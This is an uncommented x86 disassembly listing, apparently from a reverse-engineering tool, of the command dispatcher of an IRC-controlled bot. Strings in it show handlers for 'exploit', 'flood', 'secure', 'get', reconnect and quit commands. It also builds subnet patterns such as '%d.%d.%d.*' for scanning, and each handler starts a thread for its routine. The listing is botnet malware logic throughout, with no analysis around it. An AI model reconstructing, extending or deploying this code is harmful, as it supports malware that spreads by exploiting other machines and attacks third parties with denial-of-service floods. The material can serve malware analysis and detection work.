		push	0Ah
		call	sub_40B33F
		test	eax, eax
		pop	ecx
		jle	short loc_403FCC
		push	offset unk_42C300
		jmp	loc_409602
; ---------------------------------------------------------------------------


loc_403FCC:				; CODE XREF: sub_401ACD+24F3j
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_419C65
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_403FEB
		push	offset unk_42C2D8
		jmp	loc_409602
; ---------------------------------------------------------------------------


loc_403FEB:				; CODE XREF: sub_401ACD+2512j
		push	offset unk_42C2B8
		jmp	loc_409602
; ---------------------------------------------------------------------------


loc_403FF5:				; CODE XREF: sub_401ACD+18D0j
					; sub_401ACD+18E5j
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40A7CF
		jmp	loc_401E91
; ---------------------------------------------------------------------------


loc_40400E:				; CODE XREF: sub_401ACD+18A6j
					; sub_401ACD+18BBj
		push	[ebp+esi+var_8C]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_416C29
		jmp	loc_401E91
; ---------------------------------------------------------------------------


loc_40402B:				; CODE XREF: sub_401ACD+187Cj
					; sub_401ACD+1891j
		or	edi, 0FFFFFFFFh
		call	near ptr 26B084Fh
		nop
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		mov	[ebp+arg_0], eax
		jz	short loc_404054
		push	esi
		call	sub_41B779
		pop	ecx
		mov	edi, eax


loc_404054:				; CODE XREF: sub_401ACD+257Cj
		mov	eax, [ebp+arg_0]
		xor	edx, edx
		mov	ecx, 15180h
		div	ecx
		cmp	eax, edi
		jnb	short loc_40406D
		cmp	edi, 0FFFFFFFFh
		jnz	loc_409855


loc_40406D:				; CODE XREF: sub_401ACD+2595j
		push	ebx
		call	sub_41A88C
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42C2A0
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A73
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AD


loc_4040AB:				; CODE XREF: sub_401ACD+529Dj
		add	esp, 24h
		jmp	loc_409855
; ---------------------------------------------------------------------------


loc_4040B3:				; CODE XREF: sub_401ACD+1852j
					; sub_401ACD+1867j
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_415A30
		add	esp, 0Ch
		push	offset dword_42C280
		jmp	loc_406F05
; ---------------------------------------------------------------------------


loc_4040D1:				; CODE XREF: sub_401ACD+1828j
					; sub_401ACD+183Dj
		push	27h
		call	sub_40B33F
		test	eax, eax
		pop	ecx
		jle	short loc_404105
		cmp	[ebp+var_8], ebx
		jnz	loc_401E94
		push	ebx
		push	[ebp+var_4]
		push	offset unk_42C260
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A73


loc_4040FD:				; CODE XREF: sub_401ACD+7238j
		add	esp, 14h
		jmp	loc_401E94
; ---------------------------------------------------------------------------


loc_404105:				; CODE XREF: sub_401ACD+260Ej
		push	[ebp+var_88]
		lea	eax, [ebp+var_B2C]
		push	80h
		push	eax
		call	sub_41B980
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+esi+var_8C]
		mov	[ebp+var_B30], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_AA4], eax
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		cmp	esi, ebx
		mov	[ebp+var_AA0], eax
		mov	[ebp+var_AA8], ebx
		jz	short loc_404166
		push	esi
		push	offset aFull	; "full"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404166
		mov	[ebp+var_AA8], 1


loc_404166:				; CODE XREF: sub_401ACD+267Cj
					; sub_401ACD+268Dj
		lea	eax, [ebp+var_2C4]
		push	offset dword_42C23C
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	27h
		push	eax
		call	sub_40B0F7
		add	esp, 14h
		mov	[ebp+var_AAC], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_B30]
		push	ebx
		push	eax
		push	offset sub_4198EC
		push	ebx
		push	ebx
		nop
		call	near ptr 26A0000h
		mov	ecx, [ebp+var_AAC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_4041D4


loc_4041BE:				; CODE XREF: sub_401ACD+2705j
		cmp	[ebp+var_A9C], ebx
		jnz	loc_409631
		push	32h
		call	near ptr 2690F24h
		nop
		jmp	short loc_4041BE
; ---------------------------------------------------------------------------


loc_4041D4:				; CODE XREF: sub_401ACD+26EFj
		nop
		call	near ptr 26A08EAh
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42C200
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		jmp	loc_409631
; ---------------------------------------------------------------------------


loc_4041F4:				; CODE XREF: sub_401ACD+17FEj
					; sub_401ACD+1813j
		cmp	[ebp+var_8], ebx
		jnz	short loc_404213
		push	ebx
		push	[ebp+var_4]
		push	offset dword_42C1E4
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A73
		add	esp, 14h


loc_404213:				; CODE XREF: sub_401ACD+272Aj
		push	[ebp+arg_4]
		call	dword_4CB6EC
		call	dword_4CB5AC
		call	sub_41835A
		push	ebx
		call	near ptr 77E75CB5h
		nop


loc_40422E:				; CODE XREF: sub_401ACD+17D4j
					; sub_401ACD+17E9j
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	eax
		call	sub_41AA43
		pop	ecx
		pop	ecx
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A73
		push	offset dword_42C1C8
		jmp	short loc_404286
; ---------------------------------------------------------------------------


loc_404259:				; CODE XREF: sub_401ACD+17AAj
					; sub_401ACD+17BFj
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	[ebp+arg_1C]
		push	eax
		call	sub_41ACF7
		add	esp, 0Ch
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A73
		push	offset dword_42C1AC


loc_404286:				; CODE XREF: sub_401ACD+24E4j
					; sub_401ACD+278Aj
		call	sub_4151AD
		add	esp, 18h
		jmp	loc_409855
; ---------------------------------------------------------------------------


loc_404293:				; CODE XREF: sub_401ACD+1780j
					; sub_401ACD+1795j
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_41524D
		jmp	loc_401E91
; ---------------------------------------------------------------------------


loc_4042AC:				; CODE XREF: sub_401ACD+1756j
					; sub_401ACD+176Bj
		cmp	[ebp+var_C], ebx
		mov	[ebp+var_1594],	bl
		jz	short loc_4042EB
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	short loc_4042EB
		push	esi
		push	[ebp+var_C]
		call	sub_41B900
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_4042EB
		push	eax
		push	offset aS_1	; "%s"
		lea	eax, [ebp+var_1594]
		push	80h
		push	eax
		call	sub_41B980
		add	esp, 10h


loc_4042EB:				; CODE XREF: sub_401ACD+27E8j
					; sub_401ACD+27F3j ...
		push	[ebp+var_88]
		lea	eax, [ebp+var_1614]
		push	80h
		push	eax
		call	sub_41B980
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_1618],	eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_1510],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_150C],	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42C194
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	25h
		push	eax
		call	sub_40B0F7
		add	esp, 14h
		mov	[ebp+var_1514],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1618]
		push	ebx
		push	eax
		push	offset word_41528E
		push	ebx
		push	ebx
		nop
		call	near ptr 26A0000h
		mov	ecx, [ebp+var_1514]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_40438E


loc_404378:				; CODE XREF: sub_401ACD+28BFj
		cmp	[ebp+var_1508],	ebx
		jnz	loc_401E94
		push	32h
		nop
		call	near ptr 2690F24h
		jmp	short loc_404378
; ---------------------------------------------------------------------------


loc_40438E:				; CODE XREF: sub_401ACD+28A9j
		nop
		call	near ptr 26A08EAh
		push	eax
		push	offset unk_42C15C
		jmp	loc_402077
; ---------------------------------------------------------------------------


loc_40439F:				; CODE XREF: sub_401ACD+172Cj
					; sub_401ACD+1741j
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_415135
		push	offset dword_42C144
		call	sub_4151AD


loc_4043BA:				; CODE XREF: sub_401ACD+2454j
		add	esp, 10h
		jmp	loc_409855
; ---------------------------------------------------------------------------


loc_4043C2:				; CODE XREF: sub_401ACD+1702j
					; sub_401ACD+1717j
		push	[ebp+var_88]
		lea	eax, [ebp+var_BC4]
		push	80h
		push	eax
		call	sub_41B980
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+esi+var_8C]
		mov	[ebp+var_BC8], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_B3C], eax
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		cmp	esi, ebx
		mov	[ebp+var_B38], eax
		jz	short loc_40441C
		push	offset dword_42C140
		push	esi
		call	sub_41C070
		neg	eax
		sbb	eax, eax
		pop	ecx
		inc	eax
		pop	ecx
		mov	[ebp+var_B40], eax
		jmp	short loc_404422
; ---------------------------------------------------------------------------


loc_40441C:				; CODE XREF: sub_401ACD+2933j
		mov	[ebp+var_B40], ebx


loc_404422:				; CODE XREF: sub_401ACD+294Dj
		lea	eax, [ebp+var_2C4]
		push	offset dword_42C120
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	28h
		push	eax
		call	sub_40B0F7
		add	esp, 14h
		mov	[ebp+var_B44], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_BC8]
		push	ebx
		push	eax
		push	offset word_40B162
		push	ebx
		push	ebx
		nop
		call	near ptr 26A0000h
		mov	ecx, [ebp+var_B44]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_404490


loc_40447A:				; CODE XREF: sub_401ACD+29C1j
		cmp	[ebp+var_B34], ebx
		jnz	loc_406D00
		push	32h
		call	near ptr 2690F24h
		nop
		jmp	short loc_40447A
; ---------------------------------------------------------------------------


loc_404490:				; CODE XREF: sub_401ACD+29ABj
		nop
		call	near ptr 26A08EAh
		push	eax
		push	offset unk_42C0E4
		jmp	loc_409227
; ---------------------------------------------------------------------------


loc_4044A1:				; CODE XREF: sub_401ACD+1686j
					; sub_401ACD+169Bj
		push	offset aQsfposs	; "qsfposs"
		push	offset dword_42C0CC


loc_4044AB:				; CODE XREF: sub_401ACD+2A1Dj
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A73
		add	esp, 20h
		jmp	loc_406D00
; ---------------------------------------------------------------------------


loc_4044D8:				; CODE XREF: sub_401ACD+165Cj
					; sub_401ACD+1671j
		push	dword_4CB394
		call	sub_41A88C
		pop	ecx
		push	eax
		push	offset unk_42C0A0
		jmp	short loc_4044AB
; ---------------------------------------------------------------------------


loc_4044EC:				; CODE XREF: sub_401ACD+1632j
					; sub_401ACD+1647j
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	short loc_40451E
		cmp	[ebp+var_C], ebx
		jz	short loc_40452D
		push	esi
		push	[ebp+var_C]
		call	sub_41B900
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_40452D
		push	eax
		push	offset aQuitS	; "QUIT	:%s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2D
		add	esp, 0Ch
		jmp	short loc_40452D
; ---------------------------------------------------------------------------


loc_40451E:				; CODE XREF: sub_401ACD+2A28j
		push	offset aQuitLater ; "QUIT :later\r\n"
		push	[ebp+arg_4]
		call	sub_409A2D
		pop	ecx
		pop	ecx


loc_40452D:				; CODE XREF: sub_401ACD+2A2Dj
					; sub_401ACD+2A3Cj ...
		push	0FFFFFFFEh
		jmp	loc_401E96
; ---------------------------------------------------------------------------


loc_404534:				; CODE XREF: sub_401ACD+1608j
					; sub_401ACD+161Dj
		push	offset aQuitDisconnect ; "QUIT :disconnecting\r\n"
		push	[ebp+arg_4]
		call	sub_409A2D
		push	offset dword_42C050
		call	sub_4151AD
		add	esp, 0Ch
		or	eax, 0FFFFFFFFh
		jmp	loc_401E97
; ---------------------------------------------------------------------------


loc_404556:				; CODE XREF: sub_401ACD+15DEj
					; sub_401ACD+15F3j
		push	offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
		push	[ebp+arg_4]
		call	sub_409A2D
		push	offset dword_42C01C
		call	sub_4151AD
		add	esp, 0Ch
		jmp	loc_4097BA
; ---------------------------------------------------------------------------


loc_404575:				; CODE XREF: sub_401ACD+15B4j
					; sub_401ACD+15C9j
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40B7DB
		jmp	loc_404934
; ---------------------------------------------------------------------------


loc_40458B:				; CODE XREF: sub_401ACD+158Aj
					; sub_401ACD+159Fj
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40B786
		jmp	loc_404934
; ---------------------------------------------------------------------------


loc_4045A1:				; CODE XREF: sub_401ACD+1560j
					; sub_401ACD+1575j
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40B71A
		jmp	loc_404934
; ---------------------------------------------------------------------------


loc_4045B7:				; CODE XREF: sub_401ACD+1536j
					; sub_401ACD+154Bj
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40B64B
		jmp	loc_404934
; ---------------------------------------------------------------------------


loc_4045CD:				; CODE XREF: sub_401ACD+1491j
					; sub_401ACD+14A6j
		push	[ebp+esi+var_8C]
		push	27h
		push	offset dword_42C00C
		push	offset dword_42BFFC
		jmp	loc_402B25
; ---------------------------------------------------------------------------


loc_4045E5:				; CODE XREF: sub_401ACD+1467j
					; sub_401ACD+147Cj
		push	[ebp+esi+var_8C]
		push	24h
		push	offset dword_42BFF0
		push	offset dword_42BFE0
		jmp	loc_402B25
; ---------------------------------------------------------------------------


loc_4045FD:				; CODE XREF: sub_401ACD+1083j
					; sub_401ACD+1098j
		mov	edi, [ebp+esi+var_8C]
		cmp	edi, ebx
		jz	short loc_40461C
		push	edi
		call	sub_41B779
		test	eax, eax
		pop	ecx
		jz	short loc_40461C
		push	edi
		call	sub_41B779
		pop	ecx
		jmp	short loc_404621
; ---------------------------------------------------------------------------


loc_40461C:				; CODE XREF: sub_401ACD+2B39j
					; sub_401ACD+2B44j
		mov	eax, dword_429074


loc_404621:				; CODE XREF: sub_401ACD+2B4Dj
		mov	esi, [ebp+esi+var_88]
		mov	[ebp+var_590], eax
		cmp	esi, ebx
		jz	short loc_404646
		push	esi


loc_404633:				; CODE XREF: sub_401ACD+2B88j
		lea	eax, [ebp+var_5A0]
		push	10h
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		jmp	short loc_40465D
; ---------------------------------------------------------------------------


loc_404646:				; CODE XREF: sub_401ACD+2B63j
		cmp	[ebp+var_8FF], bl
		jz	short loc_404657
		lea	eax, [ebp+var_C4]
		push	eax
		jmp	short loc_404633
; ---------------------------------------------------------------------------


loc_404657:				; CODE XREF: sub_401ACD+2B7Fj
		mov	[ebp+var_5A0], bl


loc_40465D:				; CODE XREF: sub_401ACD+2B77j
		mov	eax, [ebp+var_4]
		push	[ebp+var_88]
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_584], eax
		mov	eax, [ebp+var_8]
		push	80h
		mov	[ebp+var_580], eax
		lea	eax, [ebp+var_620]
		push	eax
		mov	[ebp+var_624], esi
		call	sub_41B980
		add	esp, 0Ch
		push	[ebp+var_590]
		push	esi
		call	sub_40AC10
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42BFB8
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	19h
		push	eax
		call	sub_40B0F7
		add	esp, 1Ch
		mov	[ebp+var_58C], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_624]
		push	ebx
		push	eax
		push	offset word_4111CE
		push	ebx
		push	ebx
		call	near ptr 26A0000h
		nop
		mov	ecx, [ebp+var_58C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_40470E


loc_4046F8:				; CODE XREF: sub_401ACD+2C3Fj
		cmp	[ebp+var_57C], ebx
		jnz	loc_401E94
		push	32h
		call	near ptr 2690F24h
		nop
		jmp	short loc_4046F8
; ---------------------------------------------------------------------------


loc_40470E:				; CODE XREF: sub_401ACD+2C29j
		nop
		call	near ptr 26A08EAh
		push	eax
		push	offset dword_42BF7C
		jmp	loc_402077
; ---------------------------------------------------------------------------


loc_40471F:				; CODE XREF: sub_401ACD+1019j
					; sub_401ACD+102Ej
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	short loc_40473F
		push	esi
		call	sub_41B779
		test	ax, ax
		pop	ecx
		jz	short loc_40473F
		push	esi
		call	sub_41B779
		pop	ecx
		jmp	short loc_404745
; ---------------------------------------------------------------------------


loc_40473F:				; CODE XREF: sub_401ACD+2C5Bj
					; sub_401ACD+2C67j
		mov	ax, word_429084


loc_404745:				; CODE XREF: sub_401ACD+2C70j
		push	[ebp+var_88]
		mov	esi, [ebp+arg_4]
		mov	edi, [ebp+var_4]
		mov	[ebp+var_97C], ax
		mov	eax, [ebp+var_8]
		push	80h
		mov	[ebp+var_96C], eax
		lea	eax, [ebp+var_9FC]
		push	eax
		mov	[ebp+var_A00], esi
		mov	[ebp+var_970], edi
		call	sub_41B980
		movzx	eax, [ebp+var_97C]
		add	esp, 0Ch
		push	eax
		push	esi
		call	sub_40AC10
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42BF50
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	edi
		push	eax
		push	[ebp+var_88]
		push	esi
		call	sub_409A73
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	6
		push	eax
		call	sub_40B0F7
		add	esp, 30h
		mov	[ebp+var_978], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_A00]
		push	ebx
		push	eax
		push	offset dword_40E504
		push	ebx
		push	ebx
		nop
		call	near ptr 26A0000h
		mov	ecx, [ebp+var_978]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_404814


loc_4047FE:				; CODE XREF: sub_401ACD+2D45j
		cmp	[ebp+var_968], ebx
		jnz	loc_401E94
		push	32h
		nop
		call	near ptr 2690F24h
		jmp	short loc_4047FE
; ---------------------------------------------------------------------------


loc_404814:				; CODE XREF: sub_401ACD+2D2Fj
		nop
		call	near ptr 26A08EAh
		push	eax
		push	offset unk_42BF10
		jmp	loc_402077
; ---------------------------------------------------------------------------


loc_404825:				; CODE XREF: sub_401ACD+FC5j
					; sub_401ACD+FDAj ...
		push	edi
		push	offset aSecure	; "secure"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40484D
		push	edi
		push	offset aSec	; "sec"
		call	sub_41C070
		pop	ecx
		mov	[ebp+var_A10], ebx
		test	eax, eax
		pop	ecx
		jnz	short loc_404857


loc_40484D:				; CODE XREF: sub_401ACD+2D67j
		mov	[ebp+var_A10], 1


loc_404857:				; CODE XREF: sub_401ACD+2D7Ej
		push	[ebp+var_88]
		lea	eax, [ebp+var_A94]
		push	80h
		push	eax
		call	sub_41B980
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		cmp	[ebp+var_A10], ebx
		mov	[ebp+var_A98], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_A0C], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_A08], eax
		mov	eax, offset aSecuring ;	"Securing"
		jnz	short loc_40489E
		mov	eax, offset aUnsecuring	; "Unsecuring"


loc_40489E:				; CODE XREF: sub_401ACD+2DCAj
		push	eax
		push	offset dword_42BEDC
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_41B980
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	22h
		push	eax
		call	sub_40B0F7
		add	esp, 1Ch
		mov	[ebp+var_A14], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_A98]
		push	ebx
		push	eax
		push	offset sub_419E1A
		push	ebx
		push	ebx
		nop
		call	near ptr 26A0000h
		mov	ecx, [ebp+var_A14]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_404912


loc_4048FC:				; CODE XREF: sub_401ACD+2E43j
		cmp	[ebp+var_A04], ebx
		jnz	loc_4083BD
		push	32h
		nop
		call	near ptr 2690F24h
		jmp	short loc_4048FC
; ---------------------------------------------------------------------------


loc_404912:				; CODE XREF: sub_401ACD+2E2Dj
		call	near ptr 26A08EAh
		nop
		push	eax
		push	offset dword_42BEA0
		jmp	loc_4083AE
; ---------------------------------------------------------------------------


loc_404923:				; CODE XREF: sub_401ACD+F9Bj
					; sub_401ACD+FB0j
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_41A6AF


loc_404934:				; CODE XREF: sub_401ACD+2AB9j
					; sub_401ACD+2ACFj ...
		add	esp, 0Ch
		jmp	loc_409855
; ---------------------------------------------------------------------------


loc_40493C:				; CODE XREF: sub_401ACD+F71j
					; sub_401ACD+F86j
		push	offset unk_42BDF0
		jmp	loc_4085D6
; ---------------------------------------------------------------------------


loc_404946:				; CODE XREF: sub_401ACD+F47j
					; sub_401ACD+F5Cj
		push	offset aAbosel7Vs ; "abosel7 vs"
		push	offset dword_42BDE0
		jmp	loc_406CD0
; ---------------------------------------------------------------------------


loc_404955:				; CODE XREF: sub_401ACD+F1Dj
					; sub_401ACD+F32j
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	short loc_4049AF
		push	esi
		call	sub_41B779
		cmp	eax, ebx
		pop	ecx
		jl	short loc_4049A7
		cmp	eax, 3
		jge	short loc_4049A7
		mov	edx, [ebp+arg_18]
		mov	ecx, eax
		shl	ecx, 7
		cmp	[ecx+edx], bl
		lea	esi, [ecx+edx]
		jz	short loc_40499F
		lea	eax, [esi+1]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42D0B4
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		mov	[esi], bl
		jmp	loc_40828C
; ---------------------------------------------------------------------------


loc_40499F:				; CODE XREF: sub_401ACD+2EB1j
		push	eax
		push	offset unk_42BDB4
		jmp	short loc_4049EC
; ---------------------------------------------------------------------------


loc_4049A7:				; CODE XREF: sub_401ACD+2E9Cj
					; sub_401ACD+2EA1j
		push	eax
		push	offset unk_42BD88
		jmp	short loc_4049EC
; ---------------------------------------------------------------------------


loc_4049AF:				; CODE XREF: sub_401ACD+2E91j
		mov	edi, [ebp+arg_18]
		xor	esi, esi


loc_4049B4:				; CODE XREF: sub_401ACD+2F03j
		push	[ebp+var_90]
		push	edi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4049D7
		inc	esi
		add	edi, 80h
		cmp	esi, 3
		jl	short loc_4049B4
		jmp	loc_40828C
; ---------------------------------------------------------------------------


loc_4049D7:				; CODE XREF: sub_401ACD+2EF7j
		mov	eax, [ebp+arg_18]
		shl	esi, 7
		mov	[esi+eax], bl
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset unk_42D0B4


loc_4049EC:				; CODE XREF: sub_401ACD+2153j
					; sub_401ACD+2ED8j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		jmp	loc_408289
; ---------------------------------------------------------------------------


loc_4049FD:				; CODE XREF: sub_401ACD+EF3j
					; sub_401ACD+F08j
		push	[ebp+var_8C]
		push	offset dword_42D028
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4034A6
		call	sub_40B2C0
		push	ebx
		call	near ptr 77E75CB5h
		nop


loc_404A23:				; CODE XREF: sub_401ACD+1A12j
		push	offset aGet	; "get"
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404AB1
		cmp	dword_4CEE08, ebx
		jz	short loc_404A4B
		push	offset dword_4CE7E8


loc_404A41:				; CODE XREF: sub_401ACD+2FE2j
		push	offset unk_42BD4C
		jmp	loc_404AE1
; ---------------------------------------------------------------------------


loc_404A4B:				; CODE XREF: sub_401ACD+2F6Dj
		push	10h
		pop	eax
		mov	[ebp+var_2CC], eax
		push	eax
		lea	eax, [ebp+var_2E8]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_2CC]
		push	eax
		lea	eax, [ebp+var_2E8]
		push	eax
		push	[ebp+arg_4]
		call	near ptr 71AB157Eh
		nop
		movzx	eax, [ebp+var_2E2]
		push	eax
		movzx	eax, [ebp+var_2E3]
		push	eax
		movzx	eax, [ebp+var_2E4]
		push	eax
		lea	eax, [ebp+var_E30]
		push	offset aD_D_D_	; "%d.%d.%d.*"
		push	eax
		call	sub_41B886
		add	esp, 14h
		lea	eax, [ebp+var_E30]
		push	eax
		jmp	short loc_404A41
; ---------------------------------------------------------------------------


loc_404AB1:				; CODE XREF: sub_401ACD+2F65j
		push	esi
		call	dword_4CB694
		cmp	eax, 0FFFFFFFFh
		push	esi
		jnz	short loc_404AC5
		push	offset unk_42BD0C
		jmp	short loc_404AE1
; ---------------------------------------------------------------------------


loc_404AC5:				; CODE XREF: sub_401ACD+2FEFj
		push	offset dword_4CE7E8
		call	sub_41BEB0
		pop	ecx
		mov	dword_4CEE08, 1
		pop	ecx
		push	esi
		push	offset unk_42BCE0


loc_404AE1:				; CODE XREF: sub_401ACD+2F79j
					; sub_401ACD+2FF6j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		jmp	loc_4034FE
; ---------------------------------------------------------------------------


loc_404AF5:				; CODE XREF: sub_401ACD+19FAj
		push	edi
		push	offset aExploit	; "exploit"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_404BF8
		mov	eax, [ebp+var_4]
		mov	esi, offset aF	; "#f"
		mov	[ebp+var_13E4],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_13E0],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_13F4],	eax
		mov	edi, 80h
		push	esi
		lea	eax, [ebp+var_1474]
		push	edi
		push	eax
		mov	[ebp+var_13EC],	1
		call	sub_41B980
		add	esp, 0Ch
		lea	eax, [ebp+var_14F4]
		push	esi
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		lea	eax, [ebp+var_1504]
		push	[ebp+arg_10]
		push	10h
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		lea	eax, [ebp+var_1504]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42BCA8
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	8
		push	eax
		call	sub_40B0F7
		add	esp, 18h
		mov	[ebp+var_13E8],	eax
		lea	eax, [ebp+var_2FC]
		push	eax
		lea	eax, [ebp+var_1504]
		push	ebx
		push	eax
		push	offset word_40B8A2
		push	ebx
		push	ebx
		call	near ptr 26A0000h
		nop
		mov	ecx, [ebp+var_13E8]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_404BE7


loc_404BD1:				; CODE XREF: sub_401ACD+3118j
		cmp	[ebp+var_13DC],	ebx
		jnz	loc_40828C
		push	32h
		call	near ptr 2690F24h
		nop
		jmp	short loc_404BD1
; ---------------------------------------------------------------------------


loc_404BE7:				; CODE XREF: sub_401ACD+3102j
		call	near ptr 26A08EAh
		nop
		push	eax
		push	offset unk_42BC68
		jmp	loc_4049EC
; ---------------------------------------------------------------------------


loc_404BF8:				; CODE XREF: sub_401ACD+3037j
		push	edi
		push	offset aReconnect_in ; "reconnect.in"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4097C1
		push	edi
		push	offset aRin	; "rin"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4097C1
		push	edi
		push	offset aReconnect_in_m ; "reconnect.in.ms"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409779
		push	edi
		push	offset aRinms	; "rinms"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409779
		push	[ebp+arg_8]
		push	offset aFlood	; "flood"
		call	sub_41C070
		mov	edi, dword_427078
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4057DF
		nop
		call	near ptr 26B084Fh
		push	eax
